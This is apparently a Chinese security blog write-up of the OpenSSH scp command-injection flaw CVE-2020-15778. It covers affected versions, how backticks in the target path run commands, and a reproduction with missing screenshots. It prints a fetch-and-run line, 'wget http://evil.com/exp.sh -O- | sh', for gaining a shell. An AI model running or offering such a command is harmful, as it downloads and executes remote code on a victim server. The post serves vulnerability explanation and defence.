[应用漏洞]OpenSSH scp命令注入漏洞(CVE-2020-15778)

2024-04-11 07:40:59

一、漏洞简介

该漏洞发生于 OpenSSH <= 8.3p1 系统，即使在禁用ssh登录的情况下，但是允许使用scp传文件，而且远程服务器允许使用反引号(`)，可利用scp复制文件到远程服务器时，执行带有payload的scp命令，从而在后续利用中getshell。

利用条件：知道目标的ssh密码

二、漏洞原理

scp是 secure copy的缩写, scp是linux系统下基于ssh登陆进行安全的远程文件拷贝命令。linux的scp命令可以在linux服务器之间复制文件和目录。

scp格式为：

scp SourceFile user@host:directory/TargetFile
scp [参数] [原路径] [目标路径]

scp命令在执行时，会使用”-t“参数来获取存储传入文件的路径，但是未对传入的文件路径进行检测防护：

使用反引号包裹payload然后加上文件名执行scp命令，这时，payload将会发送到远程服务器并执行。

三、漏洞复现

首先，我们向目标机器上传文件。如图，需要输入密码，因此我要重申，这次漏洞还是有点鸡肋。

接着，执行带有payload的scp命令，payload的作用是在目标机器上生成一个sh文件：

查看文件，可以看到创建成功：

这个漏洞可能适用于远程服务器禁用了ssh登录，但是允许使用scp传文件，而且远程服务器允许使用反引号(`)。那么攻击者可以使用下列命令获取网站的shell：

wget http://evil.com/exp.sh -O- | sh

四、漏洞防御

先确保ssh密码没有泄露，等一波openssh的新版本吧

[应用漏洞]OpenSSH scp命令注入漏洞(CVE-2020-15778)相关推荐

最新系统漏洞--QSAN SANOS命令注入漏洞
最新系统漏洞2021年10月21日受影响系统: QSAN SANOS <= 2.0.0 (build 202012222000) 描述: CVE(CAN) ID: CVE-2021-32533 ...
【安全漏洞】Cisco命令注入漏洞CVE-2021-1414分析
概述最近关注了Cisco的一个命令注入漏洞CVE-2021-1414,命令注入之后可导致远程代码执行: 漏洞存在于固件版本低于V1.0.03.21的RV340系列路由器中,当前最新版本V1.0.03 ...
网络安全笔记-OS命令注入漏洞
OS命令注入漏洞原理以及成因: 程序员使用脚本语言(比如PHP)开发应用程序过程中,脚本语言开发十分快速.简洁,方便,但是也伴随着一些问题.比如说速度慢,或者无法接触系统底层,如果我们开发应用,特别 ...
openssh漏洞_漏洞预警 | OpenSSH 命令注入漏洞
0x00 漏洞编号 CVE-2020-15778 0x01 危险等级高危 0x02 漏洞概述 OpenSSH 8.3 p1及之前版本中的scp的scp.c文件存在命令注入漏洞.该漏洞源于外部输入数 ...
OpenSSH 命令注入漏洞通告（CVE-2020-15778，Openssh ＜=8.3p1）
一.漏洞概要 2020年6月9日,研究人员Chinmay Pandya在Openssh中发现了一个漏洞,于7月18日公开.OpenSSH的8.3p1中的scp允许在scp.c远程功能中注入命令,攻击者 ...
查看openssh版本_OpenSSH命令注入漏洞复现(CVE202015778)
OpenSSH命令注入漏洞复现(CVE-2020-15778) 目录漏洞描述漏洞等级漏洞影响版本漏洞复现修复建议 ▶漏洞描述 OpenSSH是用于使用SSH协议进行远程登录的一个开源实现.通 ...
openssh漏洞_技术干货 | OpenSSH命令注入漏洞复现(CVE202015778)
本公众号发布的文章均转载自互联网或经作者投稿授权的原创,文末已注明出处,其内容和图片版权归原网站或作者本人所有,并不代表安全+的观点,若有无意侵权或转载不当之处请联系我们处理,谢谢合作! 欢迎各位添加 ...
OpenSSH 命令注入漏洞(CVE-2020-15778)
该漏洞为SCP命令引起可以禁用scp,改用rsync等缓解风险(可能会导致小文件机器内拷贝变慢) 目前官方最新版openssh仍然存在该漏洞,所以需要卸载scp命令. yum remove open ...
java 漏洞挖掘_Apache Tika命令注入漏洞挖掘
*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. 介绍这篇文章将从一个Apache tika服务器的命令注入漏洞到完全利用的步骤. ...
修改jar 注入_Apache Tika命令注入漏洞挖掘
介绍这篇文章将从一个Apache tika服务器的命令注入漏洞到完全利用的步骤.CVE是https://nvd.nist.gov/vuln/detail/CVE-2018-1335.由于Apache ...

最新文章

热门文章